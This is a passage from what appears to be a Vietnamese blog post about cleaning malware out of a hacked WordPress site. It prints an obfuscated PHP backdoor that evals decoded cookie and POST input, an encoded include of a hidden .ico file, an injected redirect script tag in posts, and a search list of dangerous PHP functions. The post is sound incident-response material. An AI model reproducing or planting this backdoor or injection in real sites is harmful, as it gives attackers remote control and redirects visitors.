class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">31</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">31</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">34</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">24</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">26</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">27</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$_COOKIE</span><span class="token punctuation">,</span> <span class="token variable">$_POST</span><span class="token punctuation">)</span> <span class="token keyword">as</span> <span class="token variable">$xhkmij</span> <span class="token operator">=></span> <span class="token variable">$onsbeqz</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">function</span> <span class="token function-definition function">fnkka</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$xhkmij</span><span class="token punctuation">,</span> <span class="token variable">$eixvz</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">return</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$xhkmij</span> <span class="token operator">.</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token variable">$eixvz</span> <span class="token operator">/</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$xhkmij</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$eixvz</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">function</span> <span class="token function-definition function">ndvxy</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$rtduq</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">return</span> @<span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token variable">$rtduq</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">function</span> <span class="token function-definition function">mgcvx</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$rtduq</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token variable">$bnqfa</span> <span class="token operator">=</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$rtduq</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">3</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$bnqfa</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$rtduq</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$rtduq</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token variable">$onsbeqz</span> <span class="token operator">=</span> <span class="token function">ndvxy</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$onsbeqz</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">mgcvx</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token variable">$onsbeqz</span> <span class="token operator">^</span> <span class="token function">fnkka</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$xhkmij</span><span class="token punctuation">,</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$onsbeqz</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></span></code></pre></div> <p>Rõ ràng 2 file này lạ về cả tên, lẫn nội dung bên trong. Chính vì vậy, chắc chắn chúng là các file chứa mã độc và cần phải xóa ngay.</p> <h3 id="kiểm-tra-mã-độc-chèn-trong-các-file-php" style="position:relative;"><a href="#ki%E1%BB%83m-tra-m%C3%A3-%C4%91%E1%BB%99c-ch%C3%A8n-trong-c%C3%A1c-file-php" aria-label="kiểm tra mã độc chèn trong các file php permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra mã độc chèn trong các file php</h3> <p>Sau bước trên, mình chỉ có thể loại bỏ được các file ở những vị trí dễ phát hiện. Vì vậy, mình tiếp tục tiến hành kiểm tra các file php xem chúng có gì khác thường không.</p> <p>Các file php cơ bản như: <em>index.php, wp-config.php, wp-blog-header.php,...</em></p> <p>Thật may mắn thay khi mở file <em>index.php</em>, mình phát hiện có 1 đoạn code lạ ngay ở đầu:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.php</div> <div class="gatsby-highlight" data-language="php"><pre class="language-php"><code class="language-php"><span class="token comment">/*238d6*/</span> @<span class="token keyword">include</span> <span class="token string double-quoted-string">"\057home\064/pha\155vanl\057publ\151c_ht\155l/te\164risg\141mev1\057js/.\144aa29\14473.i\143o"</span><span class="token punctuation">;</span> <span class="token comment">/*238d6*/</span></code></pre></div> <p>Mình vào trang <a href="https://malwaredecoder.com/">Online PHP Decoder</a> và decode được đoạn trên thành:</p> <div class="gatsby-highlight" data-language="php"><pre class="language-php"><code class="language-php">@<span class="token keyword">include</span> <span class="token string double-quoted-string">"/home4/phamvanl/public_html/tetrisgamev1/js/.daa29d73.ico"</span><span class="token punctuation">;</span></code></pre></div> <p>Mình thử kiểm tra file kia xem thế nào thì đúng là nó không phải của mình tạo ra, nội dung thì còn khủng khiếp hơn 2 file php phía trên rất nhiều nên mình sẽ không trích dẫn tại đây nữa.</p> <p>Như vậy nghĩa là, rất nhiều file php của mình bị chèn thêm mã độc từ file <em>.daa29d73.ico</em>. Do đó, mình tiến hành làm 2 việc:</p> <ul> <li>Xóa file <em>.daa29d73.ico</em></li> <li>Mở toàn bộ thư mục chứa website trên một code editor, ví dụ: <a href="https://code.visualstudio.com/">Visual Studio Code</a>. Rồi sử dụng chức năng tìm kiếm để xóa đoạn code <em>@include</em> trên.</li> </ul> <p>Ngoài ra, mình còn tìm kiếm trên toàn bộ website các từ khóa như:</p> <ul> <li><em>base64</em></li> <li><em>str_rot13</em></li> <li><em>gzuncompress</em></li> <li><em>eval</em></li> <li><em>exec</em></li> <li><em>system</em></li> <li><em>assert</em></li> <li><em>stripslashes</em></li> <li><em>preg_replace (with /e/)</em></li> <li><em>move_uploaded_file</em></li> </ul> <p>Mình tham khảo trên một số trang thì họ bảo những câu lệnh trên rất nguy hiểm và có thể bị chèn mã độc. Nhưng may mắn thay, mình kiểm tra hết và mọi thứ vẫn OK.</p> <p>Sau bước này, mình nghĩ mọi thứ đã xong. Nhưng khi chạy thử website thì vẫn bị lỗi Redirect như bình thường.</p> <p>Vì vậy, mình tiếp tục tiến hành bước tiếp theo để làm sạch website Wordpress.</p> <h3 id="thay-thế-phần-core-của-wordpress" style="position:relative;"><a href="#thay-th%E1%BA%BF-ph%E1%BA%A7n-core-c%E1%BB%A7a-wordpress" aria-label="thay thế phần core của wordpress permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay thế phần core của Wordpress</h3> <p>Thực tế, mọi website Wordpress đều có phần core giống nhau. Do đó, mình lên trang chủ <a href="https://wordpress.org/">wordpress.org</a> để tải mã nguồn của Wordpress về.</p> <p>Trước tiên, trong thư mục chứa website, mình giữ lại các file và thư mục sau:</p> <ul> <li><strong>wp-content</strong>: chứa nội dung của website như: theme, plugin, ảnh,...</li> <li><strong>.htaccess</strong>: chứa một số thông tin cấu hình của server</li> <li><strong>wp-config.php</strong>: chứa một số thông tin cấu hình liên quan đến database, user, password,...</li> </ul> <p>Còn lại thì mình xóa bỏ hết và thay thế chúng bởi mã nguồn sạch của Wordpress mà mình mới tải về (và nhớ là khi bạn copy mã nguồn wordpress thì chừa cái <strong>wp-content</strong> và <strong>wp-config.php</strong> ra nhé).</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 508px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.75757575757575%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcklEQVQoz2WRXZOaMBSG+f8/p7vTm850u2tnu2tAUVCTgHwElXyAIgJCEmwH3G0vOvPcPXlzzrzHKMpSnMrqKqtWlk1XtfLO5dqlotizPC+qsulYfq5aWXeqqK7Hsqk71XbSOJ/J2g9m612StbTs07O+cygkjAUiGUpykl9hLIK0TMu7UulZSa0NnoVLHAAn8nYFLW/7kzoU+lDo/UmuQrYK2SYSsWjWAdumJS37w/ggPetOKQMdjl/fgx9WtE71hvb/SPUU8jfIABJL0kwhnwXn1UFCdlun2vLzupVGnPKfdvhiJ4vognkPqUJMjygTZwBxy88dUs/8o+Xl86CAVEGq5n7etNKYhuxhGkxm0fMscpPGy26QKcTvYQEQM7FwkgpA6pBqSI7WDo512xlmKB5B/GrH303/CfiLqPREj7nGQ5gDxE0s3KQ2EXd3zYfiehGchvA85hM3dmHs4MT19oSV4qJ5qXgpMWE45pgIwi8e4TtRiYsalQoOx2aczB+n0asdvTo7J774ove48sbJFuYAUhPSZXg2EVvt6tFqb5j8sXb2MI2fzeDXiq33ElJ9Z5MqgMX7hgIknGRoe0kaxPpR6Zk/hkEoHk0ysbYAZb74janGrB+g2vIzALnlZS6pLSxWSePxG2Y9YtreHodTgVB8mUYvVjCxySaVn3fSiH627WUOGdp2kxrzIQmptHA2nMoMxQOIJ7PoyQqd3RXzGxr+HtYDOJtCDrxsSeqx8w8L6X1tabhJ/m0Wvy2i+TbHtNsKfcfnarHNbJ8vttkqudhbAfdNkPV3u4qLpusMqXWnBmR/63TfKv2X7hOp+/+V7vUfADMpTKpchssAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="sao chép phần core wordpress" title="sao chép phần core wordpress" src="/static/da2707abb18c4cec8878156abda938b6/7c891/copy-ma-nguon-wordpress-sach.png" srcset="/static/da2707abb18c4cec8878156abda938b6/103f2/copy-ma-nguon-wordpress-sach.png 165w, /static/da2707abb18c4cec8878156abda938b6/748ba/copy-ma-nguon-wordpress-sach.png 330w, /static/da2707abb18c4cec8878156abda938b6/7c891/copy-ma-nguon-wordpress-sach.png 508w" sizes="(max-width: 508px) 100vw, 508px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau bước này, mình lại kiểm tra website một lần nữa thì thật buồn là website vẫn bị redirect như thường.</p> <p>Nhưng ít ra mình cũng thu hẹp được phạm vi lại. Bây giờ chỉ cần check thư mục <strong>wp-content</strong> và file <strong>.htaccess</strong>, <strong>wp-config.php.</strong></p> <p>Kiểm tra một lượt vẫn không phát hiện ra được gì thêm. Và mình đã quyết định từ bỏ việc làm sạch website Wordpress. Chấp nhận thực hiện một phương án khác đó là: <em>Backup lại dữ liệu website từ khoảng 2 tháng trước, sau đó tạo lại các bài viết mới nhất một cách thủ công.</em></p> <p>Nhưng may thay, ông trời không phụ lòng người. Khi mình mở một bài viết ra để copy dữ liệu của nó thì bỗng nhiên phát hiện ở cuối bài viết bị chèn thêm đoạn script:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://s2.voipnewswire.net/s2.js<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p><em>À thì ra, khi mình click vào mỗi bài viết đều bị chuyển hướng là do trong nội dung của nó chứa đoạn script này.</em></p> <p>Mình mở thử các bài viết khác thì đúng thật, bài nào cũng chứa đoạn script mã độc.</p> <h3 id="xóa-mã-độc-trong-mỗi-bài-viết" style="position:relative;"><a href="#x%C3%B3a-m%C3%A3-%C4%91%E1%BB%99c-trong-m%E1%BB%97i-b%C3%A0i-vi%E1%BA%BFt" aria-label="xóa mã độc trong mỗi bài viết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xóa mã độc trong mỗi bài viết</h3> <p>Cách đơn giản nhất có thể nghĩ đến là mở mỗi bài viết ra, tìm và xóa đoạn mã độc kia đi.</p> <p>Nhưng không, mình chả việc gì phải tốn công như vậy. Nội dung của mỗi bài viết đều được lưu trong database. Nghĩa là mình chỉ cần sử dụng chức năng <em><strong>Search</strong></em> rồi xóa đoạn code kia đi là xong.</p> <p>Mình mở <strong>phpMyAdmin</strong> lên (địa chỉ: <code>http://localhost/phpmyadmin/</code>) và bắt đầu tìm kiếm như trong hình sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 74.54545454545453%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABjElEQVQoz5XSa2+bMBQGYP//H9Mq1ISkJaydIqFUWtACbWm6NBhsfAfbtFSadhPhY1eNPZLt8+WVfawDbr8kMAguw1VwuYo+Xd/cfL6KolUUBYvlMgz9xQL6cwjnHvT9eTC7gB70g2DhQTi78IHQDa5pzQRh0nbdz1+/377/6Ptet8Z2nbbWus65rrGue+kb47Rxr/1bY5wyFjDGcFWVJUIICSG0Uo3Wbds655y1w7LWGGNNa9rWDoVpWzMWgDNGTjDGuBoQQoQQSsphH0hrbfc3oGk0pVRKqZRUUp4iA845Y3ws9Okt7wEp5benp8PhUBSoKFCJKRtijHF+yg8n/cAQzrIs2W63ydfsPs/zx7qu2TRAKZXn+S5N090uTbO7+xwTPN7577BWqirLAhWEEEop54JPBrgQz0d0RAiV1fhDbDLAuXh43Of7/d1D/nw8lmX5Hz0LzpfB/Pz8zPNm4VW42WyKopjaM+c8juP1eh3HcZIkaZpijOk0gFGKCVFKjWNojGkmA+9H72WyP9BdJWMQgDu3AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="tìm kiếm mã độc trong database mysql" title="tìm kiếm mã độc trong database mysql" src="/static/dc881ca78bbdcf185454ce0f9d87090f/7c811/search_phpmyadmin.png" srcset="/static/dc881ca78bbdcf185454ce0f9d87090f/103f2/search_phpmyadmin.png 165w, /static/dc881ca78bbdcf185454ce0f9d87090f/748ba/search_phpmyadmin.png 330w, /static/dc881ca78bbdcf185454ce0f9d87090f/7c811/search_phpmyadmin.png 660w, /static/dc881ca78bbdcf185454ce0f9d87090f/98085/search_phpmyadmin.png 762w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đúng là không ngoài dự đoán, mình tìm thấy <strong>306 kết quả chứa đoạn mã độc</strong> trên:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 653px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.06060606060606%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB20lEQVQoz43R2W7TQBQG4DwtElxzwQvwJkDiJE3S0FaFUhLRLDXeZ7zMjB0vSbDrfcZJFLamKL3hAiz4dS5GR/r0S2caM57nur2TXq8/GJ70B+fnF4PT026vf3b2tvu47Q0GTa7NcR2Oa79uttqdTotrv3rTbHHtRhDeeetwGcZxweK8/Prt+8/Dw/7H/X6/j9MszooozcIkzQuapnmYZEXJ4qxYRUmalw3TXavElwz7enJ7MxdGU37KyxNenAqK6QT2MlrH+UNNGjiI5rI+nkvvx9PL0bQ7vOgOL98d35PrCT+TDWd19yc7PE4jWC4xcVzfR9jGZAE0zfX8zXZXbXes2hQlrTbbw+Hw92bbJgAAyzSEz4IkKYoi+8Gy+J2cMVaLHceGuo4QkiRFBVAURNM0szyn5TFFUVRVVY9tAiFEyFIVVRRlTdUWCxchHIYRpfQfeOEsdN1ECCsKkGUNaGC1Wh3Z/zT7noeQ5dgYAggAhBDkWcYYZZQyRiktN5t6PBdefrx5+mn+/Gr07Gr05MP4hWoYlrMGyJV1IkKsE+++DuPjsSXDBKJ0Kym8KM4A0DFxwiiO4uRLFCdZXtvseYFlEUIcTTUU1UCYJEmcJgljtKqqirHdtvaffwE2rLe8raMGNQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả tìm kiếm mã độc trong database mysql" title="Kết quả tìm kiếm mã độc trong database mysql" src="/static/2520e14ac77105f284f3cd31207d075b/ffe7f/search_phpmyadmin_result.png" srcset="/static/2520e14ac77105f284f3cd31207d075b/103f2/search_phpmyadmin_result.png 165w, /static/2520e14ac77105f284f3cd31207d075b/748ba/search_phpmyadmin_result.png 330w, /static/2520e14ac77105f284f3cd31207d075b/ffe7f/search_phpmyadmin_result.png 653w" sizes="(max-width: 653px) 100vw, 653px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mình chọn tiếp vào chữ <em><strong>Browse</strong></em> để xem cụ thể mã độc nằm ở cột nào trong bảng <strong>wp_luqd_posts:</strong></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 34.54545454545455%; position: relative; bottom: 0; left: 0; background-image: 